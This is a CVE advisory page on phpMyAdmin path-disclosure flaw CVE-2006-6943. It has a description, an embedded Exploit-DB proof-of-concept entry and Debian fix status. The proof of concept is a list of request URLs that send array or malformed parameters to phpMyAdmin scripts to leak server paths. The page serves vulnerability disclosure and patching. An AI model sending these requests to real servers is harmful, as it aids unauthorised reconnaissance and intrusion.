CVE-2006-6943
Description
PhpMyAdmin before 2.9.1.1 allows remote attackers to obtain the full server path via direct requests to (a) scripts/check_lang.php and (b) themes/darkblue_orange/layout.inc.php; and via the (1) lang[], (2) target[], (3) db[], (4) goto[], (5) table[], and (6) tbl_group[] array arguments to (c) index.php, and the (7) back[] argument to (d) sql.php; and an invalid (8) sort_by parameter to (e) server_databases.php and (9) db parameter to (f) db_printview.php.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
phpMyAdmin 2.x - Multiple Script Array Handling Full Path Disclosures
source: https://www.securityfocus.com/bid/21137/info
phpMyAdmin is prone to multiple input-validation vulnerabilities, including an HTML-injection vulnerability, cross-site scripting vulnerabilities, and information-disclosure vulnerabilities.
An attacker could exploit these vulnerabilities to view sensitive information or to have arbitrary script code execute in the context of the affected site, which may allow the attacker to steal cookie-based authentication credentials or change the way the site is rendered to the user. Data gained could aid in further attacks.
All versions of phpMyAdmin are vulnerable.
http://www.example.com/scripts/check_lang.php
http://www.example.com/themes/darkblue_orange/layout.inc.php
http://www.example.com/index.php?lang[]=
http://www.example.com/index.php?target[]=
http://www.example.com/index.php?db[]=
http://www.example.com/index.php?goto[]=
http://www.example.com/left.php?server[]=
http://www.example.com/index.php?table[]=
http://www.example.com/server_databases.php?token=your_token&sort_by="
http://www.example.com/index.php?db=information_schema&token=your_token&tbl_group[]= http://www.example.com/db_printview.php?db="
http://www.example.com/sql.php?back[]=OS impact
Debian Fixed 4 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 4:2.9.1.1-2 |
| sid | Fixed | 4:2.9.1.1-2 |
| bullseye | Fixed | 4:2.9.1.1-2 |
| bookworm | Fixed | 4:2.9.1.1-2 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.